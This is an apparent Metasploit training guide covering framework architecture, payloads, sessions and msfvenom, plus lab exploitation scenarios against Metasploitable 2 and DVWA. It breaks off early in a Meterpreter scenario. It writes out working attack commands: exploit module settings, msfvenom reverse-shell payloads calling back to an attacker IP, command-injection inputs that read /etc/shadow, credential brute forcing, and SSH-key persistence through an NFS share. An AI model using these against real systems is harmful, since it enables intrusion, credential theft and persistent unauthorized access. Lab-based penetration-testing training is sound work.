From Fundamentals to Advanced Techniques
Target: 192.168.72.129 | Attacker: 192.168.72.130
- Chapter 1: Introduction to Metasploit
- Chapter 2: Metasploit Architecture
- 2.2 Database Integration
- 2.3 Interfaces
- 2.4 File System Layout
Chapter 1: Introduction to Metasploit
1.1 What is Metasploit?
The Metasploit Framework is the world’s most widely used penetration testing platform. Originally created by H.D. Moore in 2003 and now maintained by Rapid7, Metasploit provides security professionals with a comprehensive toolkit for discovering vulnerabilities, developing exploits, and validating security measures.
At its core, Metasploit serves as an exploitation framework that standardizes the process of testing systems for security weaknesses. Rather than writing custom exploit code for each vulnerability, penetration testers can leverage Metasploit’s extensive library of pre-built modules, significantly reducing the time and expertise required to conduct thorough security assessments.
The framework is written primarily in Ruby and follows a modular architecture that allows security researchers to easily contribute new exploits, payloads, and auxiliary tools. This open-source nature has created a vibrant community that continuously updates the framework with the latest security research and exploitation techniques.
1.2 Why Metasploit Matters
Understanding why Metasploit has become the industry standard helps contextualize its importance in modern cybersecurity. Several factors contribute to its widespread adoption:
Standardization of Testing: Before Metasploit, penetration testers often had to write custom exploit code or cobble together scripts from various sources. Metasploit provides a unified interface and methodology, making security testing more consistent and reproducible.
Comprehensive Coverage: The framework includes thousands of exploits targeting operating systems, applications, network services, and embedded devices. This breadth ensures testers can assess virtually any environment.
Rapid Development: When new vulnerabilities are disclosed, the security community often produces Metasploit modules within days or even hours, allowing organizations to quickly test their exposure.
Educational Value: Metasploit’s well-documented structure makes it an excellent learning platform for aspiring security professionals to understand exploitation techniques and defense strategies.
1.3 The Penetration Testing Workflow
Penetration testing follows a structured methodology, and Metasploit plays a role at multiple stages. Understanding this broader context helps you apply the framework effectively.
- Reconnaissance: Gathering information about the target environment, including network ranges, domain names, employee information, and technology stacks. Metasploit’s auxiliary scanners can assist with active reconnaissance.
- Scanning and Enumeration: Identifying live hosts, open ports, and running services. While tools like Nmap are primary here, Metasploit can import scan results and run service-specific enumeration modules.
- Vulnerability Analysis: Correlating discovered services with known vulnerabilities. Metasploit’s database tracks vulnerability information and helps identify potential attack vectors.
- Exploitation: Leveraging vulnerabilities to gain unauthorized access. This is Metasploit’s primary function, providing hundreds of ready-to-use exploits.
- Post-Exploitation: Activities performed after gaining access, including privilege escalation, lateral movement, and data exfiltration. Meterpreter and post modules excel here.
- Reporting: Documenting findings and providing remediation recommendations. Metasploit Pro includes reporting features, while the community edition requires manual documentation.
1.4 Metasploit Editions
Metasploit exists in several editions, each targeting different use cases:
Metasploit Framework (Community): The free, open-source edition that provides full access to exploits, payloads, and the command-line interface. This is what comes installed on Kali Linux and what you’ll use in your lab environment.
Metasploit Pro: A commercial product with a web interface, automated features, reporting capabilities, and team collaboration tools. Used by professional penetration testing firms.
Metasploit Express: A discontinued mid-tier product that bridged the gap between Framework and Pro.
1.5 Legal and Ethical Considerations
Before using Metasploit against any system, you must understand the legal boundaries of penetration testing. Unauthorized access to computer systems is illegal in virtually every jurisdiction, with potential criminal and civil penalties.
Always obtain written authorization before testing any system you don’t own. This authorization should clearly define the scope, methods allowed, and testing timeframe.
Use isolated lab environments for learning and experimentation. Metasploitable 2, which you have in your lab, is specifically designed for this purpose.
Never test production systems without explicit permission from the system owner and appropriate stakeholders.
Chapter 2: Metasploit Architecture
2.1 Module Types
Metasploit’s power comes from its modular architecture. Understanding each module type helps you select the right tool for each situation.
Exploits
Exploit modules take advantage of vulnerabilities in target systems to deliver payloads. They’re organized by platform and service type. When an exploit runs successfully, it creates a session (either a shell or Meterpreter) on the target system. Examples include buffer overflow exploits, code injection attacks, and backdoor triggers like the vsftpd 2.3.4 backdoor you’ll practice with.
Payloads
Payloads define what happens after successful exploitation. They range from simple command execution to sophisticated tools like Meterpreter. Payloads are categorized as singles (self-contained), stagers (establish connections), and stages (delivered by stagers). Chapter 4 covers payloads in extensive detail.
Auxiliary Modules
Auxiliary modules perform tasks that don’t require payload execution, such as scanning, fuzzing, sniffing, and credential testing. The telnet_login scanner you’ll use in your scenarios is an auxiliary module. These modules are essential for reconnaissance and service enumeration phases.
Post-Exploitation Modules
Post modules run after you’ve gained access to a system, enabling privilege escalation, credential harvesting, persistence installation, and lateral movement. They require an existing session and operate within that session’s context. The shell_to_meterpreter module is a commonly used post module.
Encoders and Nops
Encoders transform payloads to evade detection by antivirus software and intrusion detection systems. NOP generators create no-operation instruction sequences used in buffer overflow exploits to ensure reliable code execution. While important for advanced evasion techniques, these are beyond basic usage.
2.2 Database Integration
Metasploit integrates with PostgreSQL to store and organize information gathered during assessments. This database functionality transforms Metasploit from a simple exploitation tool into a comprehensive assessment platform.
Setting Up the Database
Initialize the database before starting msfconsole:
sudo msfdb init
This command creates the necessary database structure and configures Metasploit to use it automatically.
Key Database Commands
workspace– Create and switch between workspaces to organize different assessmentsdb_nmap– Run Nmap scans with results automatically imported into the databasehosts– View discovered hosts and their attributesservices– List services discovered on target hostsvulns– View vulnerabilities identified during scanscreds– Manage credentials discovered or added during testing
2.3 Interfaces
Metasploit provides multiple interfaces for different use cases:
msfconsole
The primary interface for Metasploit Framework is msfconsole, an interactive command-line environment. It provides tab completion, command history, and access to all framework features. Most penetration testers spend the majority of their time in msfconsole.
msfvenom
This standalone tool generates payloads in various formats for use outside Metasploit exploits. It replaced the older msfpayload and msfencode tools, combining their functionality. Chapter 6 covers msfvenom in detail.
Armitage
A graphical user interface that sits on top of Metasploit, providing visualization of targets and attack paths. While useful for learning and demonstrations, most professionals prefer msfconsole for its flexibility and scriptability.
2.4 File System Layout
Understanding where Metasploit stores its files helps with troubleshooting and customization:
/usr/share/metasploit-framework/– Main installation directory/usr/share/metasploit-framework/modules/– All module files organized by type/usr/share/metasploit-framework/data/wordlists/– Built-in wordlists for credential testing~/.msf4/– User-specific configuration, logs, and custom modules
Chapter 3: The Metasploit Workflow
3.1 The Four-Step Pattern
Metasploit follows a consistent workflow pattern that applies to almost every operation: Search, Use, Configure, and Execute. Mastering this pattern creates muscle memory that accelerates your work.
Step 1: Search
Finding the right module is the first step. The search command accepts keywords, platform filters, and module type specifications.
search vsftpd # Search by service name
search type:exploit platform:linux
search cve:2017-0144 # Search by CVE number
search name:smb # Search by name field
Step 2: Use
Select a module to work with using the use command. You can also use the module’s index number from search results.
use exploit/unix/ftp/vsftpd_234_backdoor
use 0 # Use first search result
Step 3: Configure
Every module has options that must be configured before execution. The show options command displays required and optional settings.
show options # View all options
set RHOSTS 192.168.72.129 # Set target IP
set LHOST 192.168.72.130 # Set your IP (for reverse)
set PAYLOAD cmd/unix/reverse # Set payload type
Step 4: Execute
Run the configured module with run or exploit (they’re equivalent for exploit modules).
run # Execute the module
exploit # Same as run for exploits
3.2 Essential Commands Reference
Beyond the core workflow, these commands enhance your Metasploit proficiency:
| Command | Description |
|---|---|
info | Display detailed information about the current module |
show payloads | List compatible payloads for current exploit |
show targets | Display available target configurations |
setg | Set a global option (persists across modules) |
unset | Clear a previously set option |
back | Exit the current module context |
check | Test if target is vulnerable without exploiting |
3.3 Working with Information Gathering
Before exploitation, gather information about your target. Metasploit integrates well with external tools and provides its own scanners.
Using Nmap with Metasploit
# Standard Nmap scan (run outside msfconsole)
nmap -sV -sC -p- 192.168.72.129 -oX scan.xml
db_import scan.xml # Import into Metasploit
# Or use db_nmap directly
db_nmap -sV -sC 192.168.72.129
Auxiliary Scanners
Metasploit includes numerous auxiliary modules for service-specific enumeration. These provide deeper insights than generic port scans.
use auxiliary/scanner/smb/smb_version
use auxiliary/scanner/ssh/ssh_version
use auxiliary/scanner/postgres/postgres_login
Chapter 4: Understanding Payloads
4.1 Payload Fundamentals
Payloads are the code that runs on a target system after successful exploitation. While exploits get you through the door, payloads determine what you can accomplish once inside. Choosing the right payload significantly impacts your testing effectiveness.
4.2 Singles vs Staged Payloads
Metasploit’s naming convention reveals payload architecture. Understanding this distinction helps you choose appropriately for different network conditions.
Single Payloads (Inline)
Single payloads contain everything needed for execution in one package. They’re identified by an underscore in the name.
linux/x86/meterpreter_reverse_tcp # Single (underscore)
Advantages: More reliable on unstable connections, works better through proxies, simpler to deploy.
Disadvantages: Larger size, may not fit in buffer space for some exploits, entire payload visible to network monitoring.
Staged Payloads
Staged payloads work in two phases: a small stager establishes the connection, then downloads the full stage. They’re identified by a slash in the name.
linux/x86/meterpreter/reverse_tcp # Staged (slash)
Advantages: Smaller initial footprint, fits more exploits, can deliver larger payloads.
Disadvantages: Requires stable connection for stage transfer, two-step process visible in logs.
4.3 Reverse vs Bind Shells
Connection direction is crucial for firewall evasion and network architecture considerations.
Reverse Shells
The target initiates the connection back to your machine. This is the most common approach because most firewalls allow outbound connections while blocking inbound.
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.72.130 # Your IP - where target connects
set LPORT 4444 # Your listening port
Bind Shells
The target opens a port and waits for your connection. Use this when your machine can’t receive incoming connections (NAT, corporate firewall) or when the target’s outbound is restricted.
set PAYLOAD cmd/unix/bind_netcat
set RPORT 4444 # Port opened on target
4.4 Meterpreter Deep Dive
Meterpreter (Meta-Interpreter) is Metasploit’s advanced payload, providing capabilities far beyond basic shells. It runs entirely in memory, communicates over encrypted channels, and offers extensive built-in functionality.
Core Meterpreter Commands
| Command | Description |
|---|---|
sysinfo | Display system information (OS, hostname, architecture) |
getuid | Show current user context |
pwd / ls / cd | File system navigation |
download | Download files from target to local machine |
upload | Upload files from local machine to target |
search | Search for files on target (search -f *.conf -d /etc) |
shell | Drop into a native system shell |
background | Background the current session |
Why Meterpreter Over Basic Shells
- Memory-resident: Runs entirely in RAM, leaving minimal forensic artifacts
- Encrypted communication: All traffic is encrypted, evading network inspection
- Built-in tools: No need to upload additional utilities for common tasks
- Extensible: Load additional modules for specialized tasks
- Platform support: Available for Windows, Linux, Java, PHP, and more
Chapter 5: Session Management
5.1 Understanding Sessions
When an exploit succeeds, Metasploit creates a session representing your connection to the compromised system. Sessions are numbered and can be shell-based (basic command execution) or Meterpreter-based (advanced features). Managing multiple sessions efficiently is essential for complex assessments.
5.2 Basic Session Commands
These commands form the foundation of session management:
sessions -l # List all active sessions
sessions -i 1 # Interact with session 1
sessions -k 1 # Kill session 1
sessions -K # Kill ALL sessions
5.3 Backgrounding Sessions
Rather than losing a session when you need to use msfconsole, background it to preserve access while working on other tasks.
# From within a session:
background # Background current session
Ctrl+Z # Shortcut to background
# Session remains active and accessible
5.4 Session Types Comparison
| Aspect | Shell Session | Meterpreter Session |
|---|---|---|
| Functionality | Basic command execution | Advanced built-in commands |
| File Transfer | Requires external tools | Built-in upload/download |
| Encryption | Usually unencrypted | Encrypted by default |
| Upgradable | Yes, to Meterpreter | N/A (already advanced) |
5.5 Upgrading Shell to Meterpreter
When you have a basic shell but need Meterpreter capabilities, use the shell_to_meterpreter post module:
# After getting a basic shell session (e.g., from vsftpd)
background
use post/multi/manage/shell_to_meterpreter
set SESSION 1 # Target the shell session
set LHOST 192.168.72.130
run
# A new Meterpreter session is created
5.6 Running Commands Across Sessions
Execute commands on multiple sessions simultaneously:
sessions -c 'whoami' # Run on all sessions
sessions -c 'id' -i 1,2 # Run on specific sessions
Chapter 6: Payload Generation with msfvenom
6.1 Understanding msfvenom
msfvenom creates standalone payloads for use outside Metasploit’s built-in exploits. When you need to deliver a payload through social engineering, web application vulnerabilities, or manual exploitation, msfvenom generates the necessary code in various formats.
6.2 Basic Syntax
msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <output>
Key options:
-p– Payload to use-f– Output format (elf, exe, raw, python, etc.)-o– Output filename-e– Encoder to use-i– Encoding iterations
6.3 Common Payload Examples
Linux ELF Executable
msfvenom -p linux/x86/meterpreter/reverse_tcp \
LHOST=192.168.72.130 LPORT=4444 \
-f elf -o shell.elf
Windows Executable
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.72.130 LPORT=4444 \
-f exe -o shell.exe
Raw Bash One-Liner
msfvenom -p cmd/unix/reverse_bash \
LHOST=192.168.72.130 LPORT=4444 -f raw
This outputs a command you can copy/paste or inject into vulnerable applications.
6.4 Setting Up the Handler
Generated payloads need a handler to catch incoming connections. The multi/handler module serves this purpose.
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.72.130
set LPORT 4444
run -j # Run as background job
Critical: The handler’s payload MUST match the generated payload exactly, including LHOST and LPORT values.
6.5 Available Formats
List all formats with: msfvenom --list formats
| Format | Use Case |
|---|---|
elf | Linux executable binary |
exe | Windows executable |
raw | Raw shellcode or script output |
python | Python-formatted shellcode |
c | C-formatted shellcode |
php | PHP script |
Chapter 7: Troubleshooting Guide
7.1 Common Issues and Solutions
Exploit Runs But No Session
Symptoms: Exploit completes without errors but no session is created.
Possible causes:
- LHOST set incorrectly (reverse payloads can’t connect back)
- Firewall blocking the connection
- Target service crashed instead of executing payload
- Wrong payload architecture (x86 vs x64)
Solutions: Verify network connectivity with ping. Check LHOST matches your Kali IP. Try a simpler payload like cmd/unix/reverse. Disable any host firewalls temporarily.
Database Connection Failed
Symptoms: “Database not connected” warnings in msfconsole.
Solution: Run these commands before starting msfconsole:
sudo systemctl start postgresql
sudo msfdb init
Session Dies Immediately
Symptoms: Session opens then closes within seconds.
Possible causes:
- Staged payload couldn’t download the stage
- Antivirus killed the payload (not relevant in lab)
- Network instability
Solution: Try a single payload instead of staged. Verify stable network connection. Check target has necessary resources.
Handler Not Receiving Connections
Symptoms: Generated payload executes but handler shows nothing.
Checklist:
- Handler payload matches msfvenom payload exactly
- LHOST and LPORT match between handler and payload
- Handler is running before payload executes
- No other service using the same port
7.2 Debugging Techniques
Verbose Mode
Enable verbose output to see detailed exploit progress:
set VERBOSE true
Check Module Compatibility
Use the check command (when available) to test vulnerability without exploiting:
check
Network Connectivity Testing
# Test basic connectivity
ping 192.168.72.129
# Test service availability
nmap -p 21 192.168.72.129
# Test your listener port
nc -lvnp 4444 # Should show listening
Chapter 8: Best Practices and Methodology
8.1 Pre-Engagement Checklist
Before beginning any penetration test, complete these steps:
- Obtain written authorization with clearly defined scope
- Document emergency contacts in case testing causes issues
- Verify testing timeframes and any restricted hours
- Confirm target IP addresses/ranges to avoid testing wrong systems
- Set up secure documentation for findings and evidence
- Initialize Metasploit workspace for the engagement
8.2 Professional Approaches
Documentation Standards
Document everything as you go, not after. For each finding, record:
- Exact commands used
- Timestamps
- Screenshots or terminal output
- CVE numbers when applicable
- Remediation recommendations
Scope Awareness
Never exceed authorized scope. If you discover adjacent systems during enumeration, confirm with the client before testing them. Unauthorized access, even accidentally, can have legal consequences.
Safe Exploitation Practices
- Test exploits in lab environments first when possible
- Avoid denial-of-service exploits unless explicitly authorized
- Clean up any files or accounts created during testing
- Maintain session integrity – don’t disrupt production systems
8.3 Methodical Testing Approach
Follow a structured methodology rather than random exploitation attempts:
- Reconnaissance: Gather information passively and actively
- Enumeration: Identify all services and versions
- Vulnerability Analysis: Research vulnerabilities for discovered services
- Exploitation: Attempt exploits starting with highest confidence
- Post-Exploitation: Escalate privileges, move laterally, exfiltrate data
- Reporting: Document findings with clear remediation steps
8.4 Lab Practice Recommendations
Maximize your learning in the lab environment:
- Try before looking: Attempt scenarios without hints first
- Document your process: Keep notes on what worked and what didn’t
- Vary your approach: Try different payloads for the same exploit
- Break things intentionally: Learn how errors manifest
- Reset and repeat: Practice until commands become second nature
Chapter 9: Exploitation Practice Scenarios
These scenarios provide hands-on experience with different exploitation techniques using Metasploit against Metasploitable 2. Each scenario focuses on a different vulnerability type or attack vector. Work through them in order, as they progress from beginner to more advanced techniques.
Before You Begin
- Ensure both VMs are running and can ping each other
- Start Metasploit with:
sudo msfdb init && msfconsole - Keep notes on what works and what doesn’t
- If you get stuck, the hints section provides guidance without giving away the full solution
Scenario 1: FTP Backdoor Exploitation
Difficulty: ★☆☆☆☆ Beginner
Objective: Exploit a backdoor in vsftpd 2.3.4 to gain root access
Background
In 2011, the vsftpd 2.3.4 source code was compromised with a backdoor. If a username ending with ‘:)’ is sent, a shell listener opens on port 6200. Metasploitable 2 runs this vulnerable version.
Your Tasks
- Scan the target to confirm FTP is running and identify the version
- Search Metasploit for a vsftpd exploit
- Configure and run the exploit
- Once you have a shell, find the hostname and current user
- Locate the /etc/shadow file and view its contents
Hints
- The FTP service runs on port 21
- Use nmap with -sV flag for version detection
- The exploit module path contains ‘vsftpd’ and ‘backdoor’
- You only need to set RHOSTS for this exploit
Useful Commands
nmap -sV -p 21 192.168.72.129
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.72.129
run
Learning Outcomes
- Understanding how backdoors work in compromised software
- Basic Metasploit workflow: search → use → configure → exploit
- Post-exploitation enumeration basics
Scenario 2: Samba Remote Code Execution
Difficulty: ★☆☆☆☆ Beginner
Objective: Exploit a command injection vulnerability in Samba’s username mapping
Background
Samba versions 3.0.20 through 3.0.25rc3 contain a vulnerability in the username map script functionality. By specifying a username containing shell meta characters, attackers can execute arbitrary commands.
Your Tasks
- Scan for Samba services on the target
- Identify the Samba version running
- Find and use the appropriate Metasploit module
- Gain a shell and determine what user you’re running as
- List the contents of the /home directory to see what users exist
Hints
- Samba typically runs on ports 139 and 445
- Search for ‘samba’ in Metasploit
- The vulnerability is related to ‘usermap_script’
- This exploit also gives you root access
Useful Commands
nmap -sV -p 139,445 192.168.72.129
search samba
use exploit/multi/samba/usermap_script
show options
set RHOSTS 192.168.72.129
run
Learning Outcomes
- Understanding SMB/Samba vulnerabilities
- Recognizing command injection attack patterns
- Enumerating Linux user accounts
Scenario 3: Telnet Credential Brute Force
Difficulty: ★★☆☆☆ Beginner-Intermediate
Objective: Use auxiliary modules to brute force Telnet credentials
Background
Many systems still use Telnet for remote administration despite its security weaknesses. Weak or default credentials are common. This scenario teaches you to use Metasploit’s auxiliary scanner modules for credential testing.
Your Tasks
- Verify Telnet is running on the target
- Use Metasploit’s telnet_login auxiliary module
- Configure the module with a username and password list
- Run the scanner and identify valid credentials
- Manually connect via Telnet using discovered credentials
Hints
- Telnet runs on port 23
- Metasploit has built-in wordlists in /usr/share/metasploit-framework/data/wordlists/
- Try common usernames: root, admin, user, msfadmin
- The auxiliary module is under scanner/telnet/
- You can set a single username with USER_FILE or USERPASS_FILE
Useful Commands
nmap -sV -p 23 192.168.72.129
use auxiliary/scanner/telnet/telnet_login
set RHOSTS 192.168.72.129
set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
run
telnet 192.168.72.129
Learning Outcomes
- Using auxiliary modules for credential attacks
- Understanding the difference between exploits and auxiliary modules
- Working with wordlists for brute force attacks
- Why Telnet is considered insecure (credentials sent in plaintext)
Scenario 4: Exploiting Weak Database Credentials
Difficulty: ★★☆☆☆ Beginner-Intermediate
Objective: Access PostgreSQL and MySQL databases using default credentials
Background
Database services often ship with default credentials or are configured with weak passwords. Metasploitable 2 has both PostgreSQL and MySQL running with exploitable configurations.
Your Tasks
- Scan for database services (PostgreSQL: 5432, MySQL: 3306)
- Use Metasploit to test for default PostgreSQL credentials
- Attempt to gain code execution through PostgreSQL
- Connect to MySQL and enumerate databases
- Extract user information from the MySQL user table
Hints
- PostgreSQL default user is often ‘postgres’
- MySQL on Metasploitable allows root login without a password
- Search for ‘postgres’ and ‘mysql’ in Metasploit
- There’s a postgres_login scanner and a postgres payload execution module
- You can use the mysql command-line client from Kali
Useful Commands
nmap -sV -p 3306,5432 192.168.72.129
use auxiliary/scanner/postgres/postgres_login
set RHOSTS 192.168.72.129
run
use exploit/linux/postgres/postgres_payload
set RHOSTS 192.168.72.129
set PASSWORD postgres
run
mysql -h 192.168.72.129 -u root
Learning Outcomes
- Identifying and exploiting database misconfigurations
- Understanding the risk of default credentials
- Database enumeration techniques
- How database access can lead to system compromise
Scenario 5: Distcc Distributed Compiler Exploitation
Difficulty: ★★☆☆☆ Beginner-Intermediate
Objective: Exploit a misconfigured distributed compilation service
Background
Distcc is a tool for distributing compilation across multiple machines. When misconfigured to allow connections from any host, it can be exploited to execute arbitrary commands. Metasploitable runs a vulnerable distcc daemon.
Your Tasks
- Scan the target and identify the distcc service
- Research what distcc is and why it might be vulnerable
- Find the appropriate Metasploit exploit module
- Successfully exploit the service
- Determine what user context you’re running in (it won’t be root this time!)
Hints
- Distcc typically runs on port 3632
- Search for ‘distcc’ in Metasploit
- This exploit gives you a shell as a limited user, not root
- Think about what this means for privilege escalation
Useful Commands
nmap -sV -p 3632 192.168.72.129
search distcc
use exploit/unix/misc/distcc_exec
set RHOSTS 192.168.72.129
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.72.130
run
id
whoami
Learning Outcomes
- Not all exploits give root access
- Understanding service-level compromise vs. system-level compromise
- Recognizing the need for privilege escalation
- Evaluating the security of distributed computing services
Scenario 6: IRC Daemon Backdoor
Difficulty: ★★★☆☆ Intermediate
Objective: Exploit a backdoor in the UnrealIRCd service
Background
UnrealIRCd 3.2.8.1 was distributed with a backdoor that allows remote command execution. Similar to the vsftpd incident, this shows how supply chain attacks can compromise even popular software. The backdoor is triggered by sending ‘AB;’ followed by a command.
Your Tasks
- Identify IRC services running on the target
- Find the UnrealIRCd exploit in Metasploit
- Configure a reverse shell payload
- Exploit the service and establish a connection back to your machine
- Explore the filesystem and find interesting configuration files
Hints
- IRC typically runs on port 6667
- You’ll need to set both RHOSTS and LHOST for a reverse shell
- LHOST should be your Kali IP address
- Look in /etc for configuration files
Useful Commands
nmap -sV -p 6667 192.168.72.129
search unrealircd
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 192.168.72.129
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.72.130
run
Learning Outcomes
- Understanding supply chain attacks and backdoored software
- Configuring reverse shell payloads
- The importance of verifying software integrity (checksums, signatures)
- Post-exploitation file system exploration
Scenario 7: Java RMI Server Exploitation
Difficulty: ★★★☆☆ Intermediate
Objective: Exploit Java RMI registry to achieve remote code execution
Background
Java Remote Method Invocation (RMI) allows Java programs to invoke methods on remote objects. Misconfigurations in the RMI registry can allow attackers to load arbitrary classes and execute code. Metasploitable exposes this service.
Your Tasks
- Scan for Java RMI services on the target
- Use Metasploit to gather information about the RMI registry
- Exploit the RMI service to get a Meterpreter session
- Use Meterpreter commands to enumerate the system
- Download an interesting file from the target
Hints
- RMI registry typically runs on port 1099
- There’s an auxiliary module for RMI enumeration
- The exploit module uses a Java payload
- Meterpreter has built-in commands for file operations
Useful Commands
nmap -sV -p 1099 192.168.72.129
use auxiliary/scanner/misc/java_rmi_server
set RHOSTS 192.168.72.129
run
use exploit/multi/misc/java_rmi_server
set RHOSTS 192.168.72.129
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST 192.168.72.130
run
sysinfo
getuid
download /etc/passwd
Learning Outcomes
- Understanding Java RMI security implications
- Working with Meterpreter sessions
- Using advanced Meterpreter commands
- File download capabilities in post-exploitation
Scenario 8: Web Application Command Injection (DVWA)
Difficulty: ★★★☆☆ Intermediate
Objective: Exploit a command injection vulnerability in a web application
Background
The Damn Vulnerable Web Application (DVWA) on Metasploitable contains numerous intentional vulnerabilities. The command injection vulnerability allows executing system commands through a web interface designed to ping hosts.
Your Tasks
- Access DVWA in your browser (http://192.168.72.129/dvwa)
- Login with default credentials and set security to ‘low’
- Navigate to the Command Injection section
- Exploit the vulnerability manually to run system commands
- Use this access to read sensitive files
Hints
- Default DVWA credentials are admin/password
- Security level is set in ‘DVWA Security’ menu
- The ping function doesn’t properly sanitize input
- Try adding ; or | followed by commands
- Commands like ‘id’, ‘cat /etc/passwd’, ‘ls -la’ work
Useful Commands
http://192.168.72.129/dvwa/login.php
In the ping field, try:
127.0.0.1; id
127.0.0.1; cat /etc/passwd
127.0.0.1 | ls -la /home
127.0.0.1; cat /etc/shadow
Learning Outcomes
- Understanding command injection vulnerabilities
- Manual exploitation techniques (not everything needs Metasploit)
- Input validation and sanitization importance
- Web application security testing basics
Scenario 9: NFS Misconfiguration Exploitation
Difficulty: ★★★★☆ Intermediate-Advanced
Objective: Exploit an overly permissive NFS export to gain unauthorized access
Background
Network File System (NFS) allows sharing directories over a network. When exports are configured with no_root_squash and are accessible to everyone, attackers can mount shares and potentially gain elevated privileges through SUID binaries.
Your Tasks
- Scan for NFS services on the target
- Enumerate what directories are being exported
- Mount the NFS share on your Kali machine
- Explore the mounted filesystem
- Create an SSH key to gain persistent access
Hints
- NFS uses several ports; use nmap’s nfs-showmount script
- showmount -e will show exported directories
- Mount with: mount -t nfs <target>:/<share> /mnt/nfs
- The root directory ‘/’ may be exported
- You can add your SSH key to a user’s authorized_keys file
Useful Commands
nmap -sV -p 111,2049 192.168.72.129
nmap --script=nfs-showmount 192.168.72.129
showmount -e 192.168.72.129
mkdir /tmp/nfs
mount -t nfs 192.168.72.129:/ /tmp/nfs
ls -la /tmp/nfs
cat /tmp/nfs/etc/passwd
ssh-keygen (if you don't have a key)
cat ~/.ssh/id_rsa.pub >> /tmp/nfs/root/.ssh/authorized_keys
ssh root@192.168.72.129
Learning Outcomes
- Understanding NFS security implications
- File system-based attacks
- Creating persistent access through SSH keys
- The dangers of overly permissive file sharing configurations
Scenario 10: Comprehensive Penetration Test
Difficulty: ★★★★★ Advanced
Objective: Perform a full penetration test combining multiple techniques
Background
This final scenario challenges you to perform a complete penetration test. You’ll need to enumerate the target, identify multiple vulnerabilities, exploit them, establish persistence, and document your findings. This simulates a real-world engagement.
Your Tasks
- Perform comprehensive enumeration of all services
- Identify at least 5 different vulnerabilities
- Successfully exploit 3 different services
- Establish persistent access through at least 2 methods
- Create a brief report documenting your findings
Hints
- Start with a full port scan: nmap -sV -sC -p- <target>
- Use auxiliary scanners for service-specific enumeration
- Document each vulnerability with CVE numbers if available
- Consider both Metasploit and manual exploitation methods
- Persistence methods: SSH keys, cron jobs, user accounts
Useful Commands
nmap -sV -sC -p- 192.168.72.129 -oN full_scan.txt
db_nmap -sV -sC 192.168.72.129 (inside msfconsole)
services (view discovered services in msfconsole)
vulns (view discovered vulnerabilities)
use auxiliary/scanner/portscan/tcp
use post/linux/gather/enum_system
Learning Outcomes
- Planning and executing a methodical penetration test
- Combining multiple attack vectors
- Professional documentation of findings
- Understanding the full attack lifecycle: recon → exploit → persist → report
- Time management and prioritization in security testing
Chapter 10: Payload Practice Scenarios
Payloads are the heart of what happens after a successful exploit. While exploits get you through the door, payloads determine what you can do once inside. These scenarios will help you understand different payload types, when to use them, and how to manage post-exploitation sessions.
Before You Begin
- Ensure both VMs are running and can ping each other
- Start Metasploit with:
sudo msfdb init && msfconsole - Keep notes comparing how different payloads behave
- Pay attention to what user context each payload gives you
- Note: LHOST should always be your Kali IP (192.168.72.130)
Scenario 1: Understanding Payload Types
Difficulty: ★☆☆☆☆ Beginner
Objective: Learn to identify and select different payload types in Metasploit
Background
Metasploit organizes payloads into categories: singles (self-contained), stagers (small loaders), and stages (loaded by stagers). Understanding the naming convention helps you choose the right payload. A slash (/) indicates staged, an underscore (_) indicates single.
Your Tasks
- List all available payloads and count how many exist
- Filter payloads to show only Linux payloads
- Find all Meterpreter payloads for Linux
- Identify the difference between cmd/unix/reverse and cmd/unix/reverse_netcat
- Use the ‘info’ command to examine a payload’s details
Hints
- Use ‘show payloads’ to list all payloads
- Use ‘grep’ to filter: grep linux show payloads
- Use ‘info <payload_path>’ to see detailed information
Useful Commands
show payloads
grep linux show payloads
grep meterpreter show payloads
info cmd/unix/reverse
info cmd/unix/reverse_netcat
Learning Outcomes
- Understanding Metasploit’s payload organization
- Reading payload naming conventions
- Using info command to understand payload capabilities
Scenario 2: Reverse Shell vs Bind Shell
Difficulty: ★☆☆☆☆ Beginner
Objective: Understand the difference between reverse and bind shell payloads
Background
Reverse shells connect back to your machine (target initiates connection). Bind shells open a port on the target (you connect to it). Reverse shells are more common because they bypass many firewall configurations that block incoming connections but allow outgoing.
Your Tasks
- Exploit vsftpd backdoor – note that it uses a built-in backdoor (no payload needed)
- Exploit Samba with a reverse payload (cmd/unix/reverse)
- Exploit Samba again with a bind payload (cmd/unix/bind_netcat)
- Compare the connection flow – which direction does each connect?
- Note the different options required for each payload type
Hints
- Reverse payloads require LHOST (your IP)
- Bind payloads use RPORT on the target
- Use ‘show options’ after setting payload to see required settings
Useful Commands
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.72.129
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.72.130
run
# Then try bind shell
set PAYLOAD cmd/unix/bind_netcat
show options
run
Learning Outcomes
- Understanding connection direction differences
- Knowing when to use reverse vs bind
- Configuring payload-specific options
Scenario 3: Singles vs Staged Payloads
Difficulty: ★★☆☆☆ Beginner-Intermediate
Objective: Compare single and staged payload behavior
Background
Single payloads are self-contained and execute everything at once. Staged payloads are smaller – they first establish a connection, then download the full payload. Singles are more reliable on unstable connections; staged payloads are smaller and can deliver more complex functionality.
Your Tasks
- Use Java RMI exploit with java/meterpreter/reverse_tcp (staged)
- Note the two-step connection process in the output
- Compare payload sizes using ‘info’ on both versions
- Examine compatible payloads for the exploit
- Document when you would choose each type
Hints
- java/meterpreter/reverse_tcp = staged (slash)
- java/meterpreter_reverse_tcp = single (underscore)
- Watch for ‘Sending stage’ message with staged payloads
Useful Commands
use exploit/multi/misc/java_rmi_server
set RHOSTS 192.168.72.129
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST 192.168.72.130
show options
run
info java/meterpreter/reverse_tcp
info java/meterpreter_reverse_tcp
Learning Outcomes
- Recognizing staged vs single from naming
- Understanding the staging process
- Choosing appropriate payload type for scenarios
Scenario 4: Introduction to Meterpreter
Difficulty: ★★☆☆☆ Beginner-Intermediate
Objective: Learn basic Meterpreter commands and capabilities
Background
